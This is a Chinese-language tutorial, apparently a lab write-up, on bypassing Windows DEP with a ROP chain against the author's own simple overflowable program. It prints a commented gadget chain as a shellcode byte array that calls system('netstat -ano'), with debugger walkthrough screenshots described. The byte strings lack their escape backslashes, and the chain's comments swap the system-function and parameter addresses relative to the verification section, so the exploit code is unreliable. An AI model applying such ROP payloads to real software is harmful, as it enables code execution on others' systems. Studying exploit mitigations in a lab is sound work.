x 01 前言
DEP是数据执行保护的英文缩写,全称为Data Execution Prevention。数据执行保护(DEP) 是一套软硬件技术,能够在内存上执行额外检查以帮助防止在系统上运行恶意代码,在 Microsoft Windows XP ServicePack 2及以上版本的Windows中,由硬件和软件一起强制实施DEP(这个技术还是比较老的了)。自从这个技术出现以来也出现了各种各样的方法来绕过,主要的方法为构造ROP链来绕过
下面是百度学术上找的文章,资料太少了,主要的意思就是利用程序或者动态链接库中原有的代码(地址不变)拼凑出完整的攻击逻辑,对汇编要求较高
以下为ROP的主要构造方法,前两个函数的资料不好找(函数不会用),所以选最后一个,当然最后一个也进行了阉割…
x 02 实验环境
x 03 DEP开启与关闭
右击我的电脑–>属性
如图设置完成重启之后除了1.exe其他可执行程序都会受到DEP的保护
在有DEP保护的程序中会出现这样的情况,首先到达函数返回点
返回地址为溢出覆盖的0x7FFA4512(JMP ESP)
单步执行一步之后到达 jmp esp,之后只需要跳到shellcode即可
单步执行一步,这是系统会判断 jmp 进了数据段,不可以在数据段执行代码,终止程序
x04 示例程序
由于我水平低,只能弄个简单的程序,这个程序加载了一个dll(动态链接库),用于拼凑方便
怎么判断是否绕过了DEP呢,我将用ROP编程的方式调用system函数(简单的函数,只需要一个参数),该参数为netstat -ano
具体思路如下:在高位地址寻找一块空闲的区域->将参数赋值到这个空闲的区域->调用system函数
思路有了那么就需要在动态链接库或者程序里面找现有的语句开始拼凑了,你别说还真找到了3处有用的
利用 eax 和 ecx 两个操作数将参数 netstat -ano 通过 mov 语句复制到一块空闲的内存中去,最后调用函数即可,于是生成了以下的shellcode(不同的操作系统能找出的空闲地址可能不一样)
char shellcode[] = "x41x41x41x41"
"x41x41x41x41"
"x41x41x41x41"
"x41x41x41x41"
"x41x41x41x41" // 溢出载荷
"x5ax20x50x74" // retn 到 0x7450205a(覆盖函数返回值的地址),开始ROP编程
"x84x5cx51x74" // 将 0x74515c84 这个值 pop 到 eax 保存
"x41x41x41x41" // 填充值,用于抵消 pop ebp 的操作
"x4bx7bx50x74" // retn 到 0x74507b4b 这个地址
"x6ex65x74x73" // 将 0x7374656e(nets) 这个值 pop 到 ecx 保存
"x71x20x50x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"x41x41x41x41" // 填充值,用于抵消 pop ebp 的操作
"x5ax20x50x74" // retn 到 0x7450205a 这个地址
"x88x5cx51x74" // 将 0x74515c88 这个值 pop 到 eax 保存
"x41x41x41x41" // 填充值,用于抵消 pop ebp 的操作
"x4bx7bx50x74" // retn 到 0x74507b4b 这个地址
"x74x61x74x20" // 将 0x74617420(tat空格) 这个值 pop 到 ecx 保存
"x71x20x50x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"x41x41x41x41" // 填充值,用于抵消 pop ebp 的操作
"x5ax20x50x74" // retn 到 0x7450205a 这个地址
"x8cx5cx51x74" // 将 0x74515c8c 这个值 pop 到 eax 保存
"x41x41x41x41" // 填充值,用于抵消 pop ebp 的操作
"x4bx7bx50x74" // retn 到 0x74507b4b 这个地址
"x2dx61x6ex6f" // 将 0x6f6e612d(-ano) 这个值 pop 到 ecx 保存
"x71x20x50x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"x41x41x41x41" // 填充值,用于抵消 pop ebp 的操作
"x10x3bx4ax74" // 参数 netstat -ano 的首地址,用于 system 函数的参数
"x41x41x41x41" // 用于维持函数调用的堆栈平衡,因为函数有参数,这个为一个参数,所以只需要4个字节
"x84x5cx51x74" // system 函数的地址 0x74515c84
逻辑图
x 05 验证程序
示例程序
函数到了溢出点
此时的堆栈窗口
之后函数返回到0x7450205a
再返回到0x74507b4b
之后返回到0x74502071
观察数据窗口,参数是以4个字节连3次压入的
重复3次以上过程,观察数据窗口,发现system函数的参数已经赋值完毕(字符串以16进制00结尾)
最后调用system函数
堆栈窗口如下图所示,0x744a3b10 是 system 函数的地址,0x74515c84 是参数 netstat -ano 的首地址
成功进入 system 函数
验证结束,F9运行,成功运行并打印
x 06 总结
在编写 shellcode 是比较容易踩的几个坑,第一个通过strcpy复制的 shellcode 中最好不要出现16进制的00,不然会被当作终止符,比如一个 shellcode:
x41x41x41x41
x41x41x41x41
x41x41x41x41
x41x41x41x41
x41x41x00x41
x41x41x41x41
x41x41x41x41
x41x41x41x41
当出现 00 字符后,00 后面的 shellcode 就不会被复制到堆栈当中,就会变成以下这个样子,原因是 strcpy 碰到 00 后就不往下复制了
x41x41x41x41
x41x41x41x41
x41x41x41x41
x41x41x41x41
x00x41
还有一个就是 retn 返回到某一个函数调用是,ESP 会加 4 个字节,要把这 4 个字节平衡掉